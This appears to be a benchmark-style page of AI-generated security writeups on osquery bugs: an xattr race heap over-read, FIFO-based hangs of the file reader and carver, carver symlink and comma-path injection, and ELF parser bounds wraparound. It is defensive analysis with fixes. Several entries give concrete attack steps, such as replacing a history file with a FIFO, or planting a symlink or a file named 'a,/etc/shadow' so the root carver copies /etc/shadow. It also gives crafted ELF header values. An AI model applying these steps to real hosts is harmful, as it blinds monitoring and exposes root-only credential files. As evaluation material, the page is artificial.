parseExtendedAttributeListdoes not validate the second syscall result as the initialized buffer extent and scans names without bounded NUL searches. Both failed and shortened reads consequently permit parsing of memory outside the returned name list. - Impact
-
A filesystem race can cause an out-of-bounds heap read and an inferred worker crash, interrupting monitoring queries. Residual heap bytes can also enter query-result keys when parsing survives, although their contents and retrieval by the local file owner are not established.
- Description
-
parseExtendedAttributeListallocates an uninitialized name-list buffer using the firstlistxattrsize and rejects only a zero result from the second call. A second-call failure of -1 therefore enters the name parser, and a smaller positive result leaves the parser walking toward the old size rather than the actual returned extent. Local changes such as adding attributes, removing some attributes, or replacing the pathname between calls can produce these mismatch cases. The parser constructs each name with unboundedstd::string(content), so scanning an uninitialized suffix can continue outside the allocation if no NUL is encountered. If parsing survives, copied heap bytes can become attribute names and ultimately SQLkeyvalues through the ordinary-attribute dispatch.
Devin Security (Deep)
Extended attribute race leaks uninitialized heap memory from the root daemon into query results
osquery/tables/system/darwin/extended_attributes.cpp:50Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A local user who can change extended attributes on a file that osquery scans can make the root osquery daemon copy uninitialized heap memory into the extended_attributes results, but the leaked bytes go to the operator's logs and the bug cannot write memory.
##### What's wrong
This is a time-of-check to time-of-use race that leads to an uninitialized memory read and a heap over-read.
getAttributeasks the kernel for an attribute's size, allocates that many bytes, reads the attribute again, and then builds the value from the first size instead of the byte count the second read returned.parseExtendedAttributeListdoes the same with the attribute name list, and it also keeps going when the secondlistxattrcall fails and returns -1.##### Who can do it
Alice, an IT admin at Acme Corp, runs osqueryd as root on company Macs. She schedules
SELECT * FROM extended_attributes WHERE path LIKE '/Users/%/Downloads/%'to track quarantine flags. Mallory, an unprivileged local user on one of those Macs, puts a file in her Downloads folder. She runs a loop that keeps resizing one extended attribute (large, then small) and keeps adding and removing attribute names. When the scheduled query runs, the daemon's first and second calls see different sizes.- Mallory has a normal local account on a Mac running osqueryd.
- A scheduled or distributed query reads
extended_attributesfor a path or directory Mallory can write to.- Mallory wins the race between the size call and the read call. She can retry on every scheduled run.
##### What they get
The daemon builds the
valuecolumn from the first, larger length. The tail of the value holds stale heap bytes from the root process, base64-encoded if they are not printable. When the name list changes between the two calls, the daemon treats uninitialized heap bytes as attribute names and writes them into thekeycolumn. The name scan can also read past the end of the buffer. Stale heap bytes can hold data the daemon handled recently, such as other query results or configuration. Those bytes land in Acme's result logs or fleet server, which Mallory normally cannot read, so her direct gain is small. A read past the end of the buffer could also crash the worker process. The bug only reads memory. It does not write it.##### How it works
1.
genXattrresolves thepathanddirectoryconstraints and callsgetFileDataon each file (extended_attributes.cpp:221-247 and 268-278).2.
parseExtendedAttributeListcallslistxattrwith no buffer to learn size N and allocates N bytes without initializing them (extended_attributes.cpp:76-77).3. Mallory changes the name list, so the second
listxattrreturns fewer bytes or -1. The code only stops when the result is 0 (extended_attributes.cpp:82-86).4. The loop walks the buffer up to the stale size N and builds strings from uninitialized bytes, and the last string can run past the allocation (extended_attributes.cpp:88-92).
5. For each name,
getAttributegets size N from the firstgetxattrand allocates N bytes (extended_attributes.cpp:53-55).6. Mallory shrinks the value. The second
getxattrreturns M, which is less than N, but the string is still built from N bytes (extended_attributes.cpp:60-64).7.
setRowwrites the key and the value into the result row (extended_attributes.cpp:105-108 and 213). - Exploit scenario
-
Not specified.
- Recommendation
-
Replace these helpers with
getExtendedAttributesfrom osquery/filesystem/posix/xattrs.cpp, or copy its logic. Reject a negative result from either call. Zero-fill the buffer (for examplestd::vector<char>(n, 0)). Use the second call's return value as the data length. If the second call returns -1 or more than the buffer size, retry or skip the file. Walk names only inside the returned length. To check the fix, build the darwin extended_attributes tests with AddressSanitizer and add a test where a helper thread keeps switching an xattr between a long and a short value while the table runs. The returned values must always match one of the real xattr values, and the sanitizer must report nothing.
Devin Security
Unchecked xattr sizes allow heap over-read when a local user changes attributes during a query
osquery/tables/system/darwin/extended_attributes.cpp:50Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A local user who controls a file scanned by the
extended_attributestable can make the root daemon read uninitialized or out-of-bounds heap memory, which can crash it or leak heap bytes into query results.##### What's wrong
This is a heap over-read caused by a time-of-check to time-of-use race.
getAttributeandparseExtendedAttributeListcall getxattr or listxattr once to get a size, allocate a buffer of that size, and call the function again. They then trust the first size, not the second call's return value.parseExtendedAttributeListonly stops on a return of 0. If the second call returns -1 or a smaller length, the code walks uninitialized memory withstd::string(content)and assumes there is a NUL byte.getAttributecopiesbuffer_lengthbytes even when the second call returned fewer bytes.##### Who can do it
Mallory has a local account on Alice's Mac. osqueryd queries
extended_attributesfor paths under Mallory's home directory. Mallory runs a loop that keeps adding and removing extended attributes on a file there.- Mallory can create files with extended attributes in a path that osquery queries.
- She wins the race between the two getxattr or listxattr calls.
##### What they get
The daemon can read past its heap allocation and crash, which stops monitoring on that host. Uninitialized heap bytes from the root process can also end up in the
valuecolumn that is sent to the fleet server. Mallory cannot read those results herself.##### How it works
1.
parseExtendedAttributeListallocatesvaluebytes from the first listxattr call (extended_attributes.cpp:76-77).2. The second call's result
retis only checked for 0. A value of -1 or a smaller length still leads to the walk (extended_attributes.cpp:82-86).3. The do/while loop builds strings from
contentuntil it reachesvalue, notret, and reads uninitialized bytes that may have no NUL terminator (extended_attributes.cpp:89-92).4.
getAttributecopiesbuffer_lengthbytes, notreturn_valuebytes (extended_attributes.cpp:60-64). - Exploit scenario
-
Not specified.
- Recommendation
-
Return early when either call returns a value of 0 or less. Use the second call's return value as the data length and the walk bound. Make sure the buffer is NUL-terminated by allocating one extra zeroed byte. To check the fix, add a test that calls these helpers with a mock that returns a shorter length on the second call, and run it under AddressSanitizer.
Codex Security (GPT-6 Sol)
Changing macOS attributes can crash the xattr table
osquery/tables/system/darwin/extended_attributes.cpp:74Predicted severity: Medium- Root cause
-
parseExtendedAttributeListallocates using the firstlistxattrresult. It handles only a zero second result, then iterates to the first size and treats each pointer as a NUL-terminated string, ignoring a shorter or negative second result. - Impact
-
A local user can race attributes on a selected file and disrupt a privileged query; no unauthenticated remote query is assumed.
- Description
-
The macOS xattr table parses the first
listxattrsize even when the second call returns fewer bytes or fails, so its unbounded name scan can read beyond initialized memory. - Exploit scenario
-
Changing xattr list and second
listxattrresult ->extended_attributespath or directory constraint -> Unboundedstd::string(content)name scan -> Uninitialized or out-of-bounds read and possible process crash - Recommendation
-
Reject negative second-call results, parse only returned bytes, and locate each terminator within the remaining buffer.
Claude Security (Opus 5.5)
Heap over-read when parsing the listxattr buffer: second call's return value (-1 or a shorter length) is ignored and the loop is bounded by the first size
osquery/tables/system/darwin/extended_attributes.cpp:90Predicted severity: Low- Root cause
-
Vulnerable symbol: parseExtendedAttributeList
Preconditions: Local unprivileged user can create files or set xattrs on files in a path or directory covered by an extended_attributes query; Attacker wins a race between the two listxattr syscalls; many files and a tight loop make this practical
Offending code:
attributes.push_back(std::string(content));
- Impact
-
An out-of-bounds read on the heap of the root osquery worker. Adjacent or stale heap contents (which may include secrets held by osquery) leak into query results and logs, and the worker may crash if the read runs into an unmapped page.
- Description
-
Any local user controls the xattr name list of files they own, and the list can change or the file can be swapped between the two listxattr calls. The code checks the second call's return only for 0. On ret == -1 (ERANGE/ENOENT) or ret < value it still runs strlen through std::string(content) on uninitialized malloc memory up to
value, so it can read past the end of the allocation. Also CWE-252: osquery already provides race-safe xattr helpers in posix/xattrs.cpp, which check err<0 and shrink to the returned length. The macOS extended_attributes table reimplements the logic without these checks. If ret == -1 (for example ERANGE because the list grew) or ret < value, it runs strlen-based parsing over an uninitialized malloc buffer. getAttribute copies buffer_length bytes even when getxattr returned fewer. - Exploit scenario
-
A local user owns files in a directory that an extended_attributes query covers, for example
WHERE directory = '/Users/<u>/Downloads'orpath LIKE '/Users/%/Downloads/%'. In a tight loop the user toggles xattrs on many files (add a long name, then remove it) or renames files in and out of place. When the list shrinks or the file disappears between the size probe and the read, the second listxattr returns -1 or a smaller count. The buffer still holds uninitialized bytes, and std::string(content) runs strlen until it finds a NUL, possibly into the next heap chunk. The resulting garbage names go into the results as thekeycolumn and are passed to getxattr. If value was 0 and an xattr appears before the second call, the code parses an uninitialized malloc(0) chunk. - Recommendation
-
Use the hardened helper getExtendedAttributeNameList() in osquery/filesystem/posix/xattrs.cpp. Otherwise: reject value <= 0 and ret < 0, treat ret > value as an error, set the parse bound to ret, and parse with explicit lengths (memchr within [content, content+ret)) rather than strlen. Also CWE-252: Use getExtendedAttributeNameList/getExtendedAttributeValue from osquery/filesystem/posix/xattrs.cpp, or check ret < 0, parse only ret bytes, and use return_value as the copy length.
Vercel Security Review
macOS xattr enumeration parses uninitialized memory after listxattr races
osquery/tables/system/darwin/extended_attributes.cpp:76Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new macOS extended_attributes helper sizes an uninitialized allocation from mutable filesystem metadata** -
osquery/tables/system/darwin/extended_attributes.cpp:76-77```cpp title="osquery/tables/system/darwin/extended_attributes.cpp:76-77"
ssize_t value = listxattr(path.c_str(), nullptr, (size_t)0, 0);
char* content = (char*)malloc(value);
```
A local owner of a queried file can change its attributes between calls.
**2. The second enumeration accepts errors and shorter nonempty results** -
osquery/tables/system/darwin/extended_attributes.cpp:82-85```cpp title="osquery/tables/system/darwin/extended_attributes.cpp:82-85"
ssize_t ret = listxattr(path.c_str(), content, value, 0);
if (ret == 0) {
free(content);
return attributes;
```
Growing the list can return -1/ERANGE; shrinking it leaves an uninitialized tail.
**3. Parsing trusts the old allocation length and unbounded C strings** -
osquery/tables/system/darwin/extended_attributes.cpp:89-92```cpp title="osquery/tables/system/darwin/extended_attributes.cpp:89-92"
do {
attributes.push_back(std::string(content));
content += attributes.back().size() + 1;
} while (content - stable < value);
```
No valid terminator is guaranteed in those unread bytes. Enumeration of attacker-controlled files can therefore read beyond the heap allocation and crash the monitoring process.
- Exploit scenario
-
Not specified.
- Recommendation
-
Reject negative size probes and failed enumeration calls, then parse only the actual successful byte count returned by listxattr. Use bounded terminator searches within that range, retry metadata changes safely, or reuse the existing getExtendedAttributeNameList helper.
-
The readFile function can hang on reading a file osquery-12 · 2 writeups Medium
Devin Security (Deep)
readFile blocks forever on user-planted FIFOs and terminals, stalling the root agent
osquery/filesystem/filesystem.cpp:86Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any local user can make the root osquery agent hang on scheduled queries such as
shell_history. This can blind monitoring on that host until someone restarts the agent.##### What's wrong
This is an unbounded blocking read on an attacker-chosen file type.
readFiletreats any file whose size is 0 as "special". It reopens that file withoutO_NONBLOCKand reads it in blocking mode. It never checks that the file is a regular file. A FIFO (a named pipe) or a terminal device has size 0. A blockingopen()on a FIFO waits for a writer, and a blockingread()waits for data. Neither has a timeout.##### Who can do it
Alice, an administrator at Acme Corp, runs osqueryd as root with a schedule that includes
select * from shell_history. Mallory has an ordinary shell account on the same host. She runsrm ~/.bash_history; mkfifo ~/.bash_history. The next time the query runs, the root worker thread blocks.- Mallory has a local account with a home directory that osquery enumerates.
- A scheduled or distributed query reads a file in her home directory. Examples are
shell_history(.bash_history,.bash_sessions/*.history),authorized_keys, andknown_hosts.##### What they get
The query never finishes, and the worker's scheduler thread stays stuck on that query. Later scheduled queries on that host stop producing results. That can hide Mallory's later activity from Acme's security team. The effect is limited to the one host she has an account on. She does not get any data.
##### How it works
1.
genShellHistoryFromFilein osquery/tables/system/posix/shell_history.cpp:103 callsreadFileon the user's history path as root, without dropping privileges.2.
OpenReadableFilein filesystem.cpp:94 opens the path withO_NONBLOCK. Opening a FIFO for reading this way succeeds at once.3.
isSpecialFile()in osquery/filesystem/posix/fileops.cpp:100-102 returns true becausefstatreports size 0.4. filesystem.cpp:99-101 clears
PF_NONBLOCKand reopens the path. A blockingopen()on a FIFO with no writer never returns.5. If Mallory keeps a writer open but sends nothing, the blocking
read()at filesystem.cpp:168 waits forever instead. - Exploit scenario
-
Not specified.
- Recommendation
-
After the non-blocking open, call
fstatand checkst_mode. Refuse FIFOs, sockets, and character or block devices unless the caller asked for them. Callers that need procfs or sysfs files can keep the blocking reopen, because those files reportS_ISREG. Optionally open user-controlled paths withO_NOFOLLOW, so a symlink cannot point the agent at/dev/tty*. To check the fix, create a FIFO at~/.bash_historyfor a test user, runselect * from shell_historyin osqueryi, and confirm the query returns at once.
Vercel Security Review
Nonblocking file reads reopen FIFOs in blocking mode and stall scheduled monitoring
osquery/tables/system/posix/shell_history.cpp:103Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Scheduled history collection reads user-controlled files with blocking explicitly disabled** -
osquery/tables/system/posix/shell_history.cpp:103-105```cpp title="osquery/tables/system/posix/shell_history.cpp:103-105"
if (!readFile(history_file, 0, 4096, false, false, parseChunk, false)) {
return;
}
```
The incident-response pack joins users to shell_history. A local user can replace their history file with a FIFO having no writer.
**2. The new POSIX helper classifies that FIFO as special solely because its size is zero** -
osquery/filesystem/posix/fileops.cpp:100-102```cpp title="osquery/filesystem/posix/fileops.cpp:100-102"
bool PlatformFile::isSpecialFile() const {
return (size() == 0);
}
```
**3. The new reader removes nonblocking protection and reopens the FIFO** -
osquery/filesystem/filesystem.cpp:99-101```cpp title="osquery/filesystem/filesystem.cpp:99-101"
mode &= ~PF_NONBLOCK;
blocking_io = true;
fd = std::make_unique<PlatformFile>(path, mode);
```
The blocking open waits indefinitely, preventing the synchronous scheduler from completing this query or running subsequent scheduled queries.
- Exploit scenario
-
Not specified.
- Recommendation
-
Use fstat file-type checks rather than size to identify special files. Reject FIFOs and other inappropriate node types for filesystem table reads, or retain nonblocking mode and enforce bounded I/O deadlines. Avoid reopening paths in blocking mode based solely on zero size.
-
The POSIX PlatformFile constructor may block the osquery thread osquery-13 · 6 writeups Medium
V12
Nonblocking file reads reopen attacker-controlled FIFOs blocking
osquery/filesystem/filesystem.h:84Predicted severity: Medium- Root cause
-
OpenReadableFilechanges a nonblocking request into blocking I/O based on file size rather than a safe, bounded file-type policy. - Impact
-
A non-root user can replace a history file in their own home directory with a FIFO and stall shell-history monitoring when that user is included in collection. This is an availability failure in the common read API, independent of the ELF table's direct use of
open. - Description
-
The
readFileoverloads default toblocking=false, butOpenReadableFilecan silently replace the nonblocking descriptor with a blocking open. On POSIX,isSpecialFileis implemented assize() == 0, which includes FIFOs. A FIFO with no writer first opens successfully withO_NONBLOCK, then hangs during the helper's blocking reopen before the caller can receive a failure status. This affects ordinary consumers such as shell-history collection, which reads user-controlled history paths with the nonblocking argument. The byte limit and dry-run checks execute only after construction of the handle and cannot bound this wait.
Devin Security (Deep)
A local user can freeze the carver by planting a FIFO in a carved path
osquery/carver/carver.cpp:226Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A local user whose files are being carved can make the carver hang forever, which stops every later carve on that host until osquery restarts.
##### What's wrong
This is a missing file type check that leads to an unbounded block. The carver opens each path with a blocking read-only open before it checks what kind of file it is. Opening a named pipe (FIFO) that way waits until some process opens the other end. The carver runs the carves one after another on a single thread and marks itself as running, so a hung open also prevents any new carve from being dispatched.
##### Who can do it
Alice, an incident responder at Acme Corp, suspects Mallory, an employee with a normal account on a Linux server. Alice queries
SELECT * FROM carves WHERE path LIKE '/home/mallory/%' AND carve = 1. Before that, Mallory replaced~/.bash_historywith a FIFO made withmkfifo. The glob in the carves table returns the FIFO, and the carver blocks on it. Nothing from Mallory's home directory is collected, and later carves on that server never start.- The carver is enabled with
--disable_carver=false.- Mallory can create a FIFO, or a symlink to one, at a path the operator carves (for example in her own home directory).
- The operator carves that path directly or through a LIKE glob.
##### What they get
Mallory blocks forensic file collection on the host. The current carve never finishes and no later carve runs, because the running flag stays set while the carver thread is stuck. This only affects availability of the carve feature on that host. It does not expose data.
##### How it works
1.
genCarvesin osquery/tables/forensic/carves.cpp:84-93 expands the LIKE pattern withGLOB_ALL | GLOB_NO_CANON, which keeps every non-directory entry, including FIFOs and symlinks.2.
CarverRunnable::startin osquery/carver/carver.cpp:117-132 runs the carves one at a time on one thread.3.
Carver::carveAllin osquery/carver/carver.cpp:230 opens the path withPF_OPEN_EXISTING | PF_READand noPF_NONBLOCK, soopen()on a FIFO blocks with no timeout.4. The
isDirectorycheck on line 231 only runs after the open returns, and there is no regular-file check at all.5.
CarverRunnablesetsrunning_to true in its constructor (osquery/carver/carver.h:25), andscheduleCarvesin osquery/carver/carver.cpp:347-349 will not start a new runner while it stays true. - Exploit scenario
-
Not specified.
- Recommendation
-
Before reading, lstat each carve path and skip anything that is not a regular file, or open with O_NONBLOCK and then fstat the descriptor and reject non-regular files before reading. To check the fix, create a FIFO with mkfifo, carve it together with a regular file, and confirm the carve completes, the FIFO is skipped, and a second carve afterwards still runs.
Codex Security (GPT-6 Sol)
A user-owned FIFO can stall a scheduled file query
osquery/filesystem/filesystem.cpp:84Predicted severity: Low- Root cause
-
known_hostsreads a path in the selected user's home.OpenReadableFileinitially opens nonblocking but treats zero size as a special file and reopens withoutPF_NONBLOCK; a FIFO read open can wait indefinitely before byte limits apply. - Impact
-
A local user can stall a selected query, but a suitable scheduled query and monitored home path are prerequisites, and impact is limited to that thread.
- Description
-
The shared reader reopens zero-size files in blocking mode, so a FIFO at a user-home path selected by a scheduled table query can block its query thread indefinitely.
- Exploit scenario
-
FIFO substituted for monitored file -> User-owned
.ssh/known_hostspath -> BlockingopeninPlatformFile-> Query thread stalls waiting for a FIFO writer - Recommendation
-
Reject FIFOs and sockets using
fstaton the opened descriptor or keep nonblocking I/O with a bounded wait.
Claude Security (Sonnet 5.5)
file_events callback hashes attacker-created paths in the inotify publisher thread; a FIFO blocks that thread indefinitely
osquery/tables/events/event_utils.cpp:33Predicted severity: Medium- Root cause
-
Vulnerable symbol: decorateFileEvent
Preconditions: File events enabled (--enable_file_events) with a file_paths pattern covering a directory where unprivileged users can create files, such as /tmp/%%; Hashing on CREATED/UPDATED events, which is the default unless the category is listed in file_accesses
Offending code:
auto hashes = hashMultiFromFile(
- Impact
-
An unprivileged local user can freeze the file_events/FIM publisher, which is effectively persistent. This is a denial of a security control and an evasion window for file-integrity monitoring.
- Description
-
The filename comes from an inotify CREATED event for an entry that any user can create in a monitored directory. FileEventSubscriber::Callback passes it to decorateFileEvent(), which calls hashMultiFromFile(). That function ends in readFile/OpenReadableFile, which reopens any size-0 file in blocking mode, so open() on a FIFO blocks until a writer appears. The callback runs synchronously inside INotifyEventPublisher::run via fire(), under subscription_lock_.
- Exploit scenario
-
FIM is configured as in the project's documented example (file_paths includes "/tmp/%%"). An unprivileged user runs
mkfifo /tmp/x. inotify reports IN_CREATE, so action is CREATED and hash is true. osqueryd (root) reopens /tmp/x with a blocking open(O_RDONLY) and hangs. All inotify-based file_events processing stops, and the held subscription read lock can also stall publisher reconfiguration. The attacker then modifies monitored files. Events pile up in the kernel queue and can be overflowed, so changes go unreported, until someone opens the FIFO for writing. A symlink to a FIFO has the same effect. A symlink to a root-only file also makes the root daemon hash it. - Recommendation
-
Before hashing, lstat/fstat the path and only hash regular files. Open with O_NONBLOCK and O_NOFOLLOW and never reopen in blocking mode for FIFOs, sockets or devices. Do not perform potentially blocking I/O inside the publisher thread's callback, and add a read timeout.
Claude Security (Opus 5.5)
readFile reopens FIFOs in blocking mode, so a user-planted FIFO hangs the FIM publisher and scheduler threads
osquery/filesystem/filesystem.cpp:101Predicted severity: Medium- Root cause
-
Vulnerable symbol: OpenReadableFile::OpenReadableFile
Preconditions: Local unprivileged account; Either FIM enabled with a user-writable directory in file_paths, or a scheduled/distributed query touching a user-home table (shell_history, authorized_keys, known_hosts, ssh_configs, user_ssh_keys, chrome_extensions)
Offending code:
fd = std::make_unique<PlatformFile>(path, mode);
- Impact
-
An unprivileged local user can persistently blind osquery file-integrity monitoring and/or all scheduled queries. This allows evasion of host monitoring.
- Description
-
Paths an unprivileged user controls (a file created in a FIM-watched directory, or ~/.bash_history, ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config, Chrome Preferences) reach readFile/hashMultiFromFile. OpenReadableFile treats any zero-size file as 'special' and reopens it without O_NONBLOCK, so open(O_RDONLY) on a FIFO waits forever for a writer. The hash table checks is_regular_file before hashing (hash.cpp:304). decorateFileEvent and the user-home tables do not, so the same sink has inconsistent guards.
- Exploit scenario
-
A local unprivileged user runs
mkfifo /tmp/x(or any FIM-monitored, user-writable directory such as /home/%%) and never opens it for writing. inotify reports IN_CREATE, so FileEventSubscriber::Callback calls decorateFileEvent, which calls hashMultiFromFile and readFile. The non-blocking open succeeds, fstat reports size 0, and the blocking reopen hangs in open(). Because fire() runs subscriber callbacks synchronously on the INotify publisher thread, file integrity monitoring stops for every watched path until osqueryd restarts. The scheduler has a separate route:mkfifo ~/.bash_historyhangs the scheduler thread when shell_history runs (it is scheduled in the bundled incident-response pack), and every later scheduled query stops. No crash happens, so the watchdog never restarts the worker and the denylist never applies. - Recommendation
-
In OpenReadableFile/readFile, fstat the non-blocking fd and refuse non-regular files (S_ISFIFO, S_ISSOCK, S_ISCHR) unless the caller explicitly opts in. Never reopen a FIFO without O_NONBLOCK. Callers that need /proc or /sys pseudo-files should opt in explicitly. Also check is_regular_file in decorateFileEvent and the user-home tables, matching hash.cpp.
Vercel Security Review
Nonblocking file reads reopen FIFOs in blocking mode and stall scheduled monitoring
osquery/tables/system/posix/shell_history.cpp:103Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Scheduled history collection reads user-controlled files with blocking explicitly disabled** -
osquery/tables/system/posix/shell_history.cpp:103-105```cpp title="osquery/tables/system/posix/shell_history.cpp:103-105"
if (!readFile(history_file, 0, 4096, false, false, parseChunk, false)) {
return;
}
```
The incident-response pack joins users to shell_history. A local user can replace their history file with a FIFO having no writer.
**2. The new POSIX helper classifies that FIFO as special solely because its size is zero** -
osquery/filesystem/posix/fileops.cpp:100-102```cpp title="osquery/filesystem/posix/fileops.cpp:100-102"
bool PlatformFile::isSpecialFile() const {
return (size() == 0);
}
```
**3. The new reader removes nonblocking protection and reopens the FIFO** -
osquery/filesystem/filesystem.cpp:99-101```cpp title="osquery/filesystem/filesystem.cpp:99-101"
mode &= ~PF_NONBLOCK;
blocking_io = true;
fd = std::make_unique<PlatformFile>(path, mode);
```
The blocking open waits indefinitely, preventing the synchronous scheduler from completing this query or running subsequent scheduled queries.
- Exploit scenario
-
Not specified.
- Recommendation
-
Use fstat file-type checks rather than size to identify special files. Reject FIFOs and other inappropriate node types for filesystem table reads, or retain nonblocking mode and enforce bounded I/O deadlines. Avoid reopening paths in blocking mode based solely on zero size.
-
No limit on the amount of data the Carver::blockwiseCopy method can write osquery-14 · 2 writeups Medium
V12
FIFO sources indefinitely block queued forensic collection
osquery/carver/carver.cpp:226Predicted severity: Medium- Root cause
-
Source paths are opened in blocking mode before enforcing a regular-file requirement on the opened object. The serial carve worker has no timeout or cancellation around this open.
- Impact
-
A local user controlling a selected source path can stall the active carve and prevent later queued forensic collections from running, without controlling the trusted query or configuration. This establishes denial of the carve service; it does not establish that the main SQL scheduler or the entire daemon is blocked.
- Description
-
The carve path intended for flat files opens each selected source before checking whether its pathname is a directory, and neither that path nor
archive()verifies that the opened descriptor represents a regular file. POSIXPlatformFileuses blockingO_RDONLYforPF_OPEN_EXISTING | PF_READ, withO_NONBLOCKadded only when explicitly requested. A local owner can replace a selected file with a FIFO before the open and leave it without a writer, causing the open itself to wait indefinitely. The directory check and subsequent block-count limit cannot protect against a wait that occurs before either operation. Carves execute serially through one runnable, and scheduling refuses to start another while that runnable remains active.
Claude Security (Sonnet 5.5)
Carver follows symlinks and opens special files, and path-list comma (de)serialisation lets attacker-chosen file names add arbitrary files to a carve
osquery/carver/carver.cpp:230Predicted severity: Low- Root cause
-
Vulnerable symbol: Carver::carveAll
Preconditions: Carver enabled and an operator or distributed query carves a directory or glob in which a local user can create files; Local unprivileged attacker able to create symlinks, FIFOs or specially named files
Offending code:
PlatformFile src(srcPath, PF_OPEN_EXISTING | PF_READ);
- Impact
-
Confused-deputy read of arbitrary root-readable files into the carve, which is uploaded and staged, and denial of service of the carve service. Combined with the staging-permission weakness it gives local disclosure of root-only files.
- Description
-
Carve paths come from the carves table LIKE/EQUALS glob expansion (or the carve() SQL function) and are stored joined with ',' then split on ',' when the carve runs. carveAll then opens each path as root with a plain open(): symlinks are followed and FIFOs are opened blocking, and the only check is isDirectory(). Any local user who can create entries in a directory that an operator carves with a wildcard can therefore redirect the carve to other files or hang it. Also CWE-400: The comment says the file is checked to be a flat file, but the only check is isDirectory(). PlatformFile (posix) calls ::open(O_RDONLY) with no O_NONBLOCK, which blocks forever on a FIFO with no writer. Glob expansion of carve patterns returns FIFOs because GLOB_ALL is used.
- Exploit scenario
-
An operator carves a user-writable directory (for example SELECT * FROM carves WHERE path LIKE '/home/alice/Downloads/%' AND carve = 1). The local user plants a symlink Downloads/x pointing at /etc/shadow, or a file literally named 'a,/etc/shadow' (a comma in a path is split into two paths). The root carver copies /etc/shadow into its staging directory and uploads it with the carve; with the world-readable staging permissions the attacker can read it locally, and a planted FIFO makes the carver block forever in open(), stalling all later carves.
- Recommendation
-
Open sources with O_NOFOLLOW (or lstat and require S_ISREG, then re-verify with fstat on the opened fd), open non-blocking and reject non-regular files, and store paths as a JSON array instead of a ','-joined string. Also CWE-400: Open with O_NONBLOCK or O_NOFOLLOW, fstat the descriptor and require S_ISREG before copying. Also bound the work per carve.
-
The elf_info table can crash the osquery agent osquery-17 · 4 writeups Medium
V12
Wrapped ELF ranges escape the file mapping
libraries/cmake/source/libelfin/src/elf/mmap_loader.cc:45Predicted severity: High- Root cause
-
mmap_loader::loaduses an overflow-prone additive range check and never rejects negative offsets. It should establish0 <= offset <= limandsize <= lim - offsetbefore pointer arithmetic. - Impact
-
A non-root owner of a queried ELF can cause invalid memory reads and crash the agent. If the forged region overlaps readable process memory and contains a terminator, section or symbol names can disclose bytes from that region through query results; the particular adjacent mapping and disclosure content have not been reproduced.
- Description
-
The loader checks a requested region with
offset + size > limand then returnsbase + offset. ELF64 offsets are unsigned 64-bit file fields, but the loader accepts signedoff_t; a large field can therefore arrive as a negative offset on Linux. Addition with unsignedsize_tcan wrap to a small value and pass the sole bounds check. Section data used by section-name and symbol-name tables reaches this loader without a separate validated interval. A file can consequently direct string reads outside its own mapping instead of receiving a parser exception.
Devin Security (Deep)
Vendored libelfin trusts ELF header sizes, so every elf_* table can read outside the mapped file
libraries/cmake/source/libelfin/src/elf/mmap_loader.cc:45Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can put a crafted ELF file in a folder that an
elf_info,elf_segments,elf_sections,elf_symbols, orelf_dynamicquery scans can make the root osquery agent read memory outside the file and crash.##### What's wrong
These are out-of-bounds reads in the ELF parser osquery uses. The vendored libelfin library trusts sizes and offsets from the file header. It has three gaps. First,
mmap_loader::loadchecksoffset + size > limwithout overflow protection, so a huge offset or size wraps around and passes. Second, it never checks thatphentsizeandshentsizeare at least the size of a program or section header, butcanon_hdralways reads a full header. Third, the symbol table iterator stops only whenpos == end, so a symbol section whose size is not a multiple of the entry size never stops.##### Who can do it
Alice's team runs
SELECT * FROM elf_symbols WHERE path LIKE '/tmp/%'on their Linux fleet. Mallory, a local user without privileges or anyone who can drop a file in a scanned folder, writes a crafted ELF there. For example, she setsphentsizeto 0 andphoffto the file length, or gives a section the offset0xFFFFFFFFFFFFF000with size0x2000.- A query on any elf_* table covers a path the attacker can write to.
- The attacker controls the header bytes of one file in that path.
##### What they get
The root agent reads before or after the mapped file. This crashes the worker, and osquery then denylists the crashing query, so Mallory can disable a detection query. In
elf_symbols, values read from outside the file can also show up in theaddrandsizecolumns sent to Alice's logs. The harm stays on the one host that parses the file.##### How it works
1.
genElfInfobuildself::elfon each file that matches the query's path glob (elf_info.cpp:51-56).2. The constructor loads the program headers with
load(phoff, phentsize * phnum)and then reads a fullPhdrfor each entry, even whenphentsizeis smaller than aPhdr(elf.cc:96-101, elf.cc:14-36). Section headers are handled the same way (elf.cc:104-112).3.
loadadds a signed offset and an unsigned size with no overflow check, so a wrapped sum passes and returnsbase + offsetoutside the mapping (mmap_loader.cc:45-50).4.
section::data()andas_symtab()use those unchecked results. The symbol iterator steps by a fixed stride and compares only for equality withend(elf.cc:266-296, elf.cc:378-403, elf++.hh:414-433).5.
getELFSymbolsiterates the symbol table and reads each entry (elf_info.cpp:133-141). - Exploit scenario
-
Not specified.
- Recommendation
-
Patch the vendored libelfin (under libraries/cmake/source/libelfin/patches). In
load, reject a negative offset and checksize > lim || (size_t)offset > lim - size. In theelfconstructor, rejectphentsize < sizeof(Phdr)whenphnum > 0, rejectshentsize < sizeof(Shdr)whenshnum > 0, and computephentsize * phnuminsize_t. Inas_symtab, reject sizes that are not a multiple of the entry size, or make the iterator compare with<. To check the fix, run the elf_* tables under ASan on crafted files:phentsize=0withphoffequal to the file size, a section with offset0xFFFFFFFFFFFFF000and size0x2000, and a symtab of size 25. Each should be rejected with no ASan report.
Claude Security (Sonnet 5.5)
Untrusted ELF headers parsed by libelfin whose bounds check wraps (signed offset + size_t), yielding pointers before the mapping
osquery/tables/system/linux/elf_info.cpp:55Predicted severity: Low- Root cause
-
Vulnerable symbol: genElfInfo
Preconditions: An operator or scheduled query runs an elf_* table over an attacker-writable path.; The file is ELF64, so that the 64-bit offset fields can carry the high bit.
Offending code:
elf::elf f(elf::create_mmap_loader(fd));
- Impact
-
Crash (denial of service) of the osquery process, or an out-of-bounds read of process memory surfaced in query results.
- Description
-
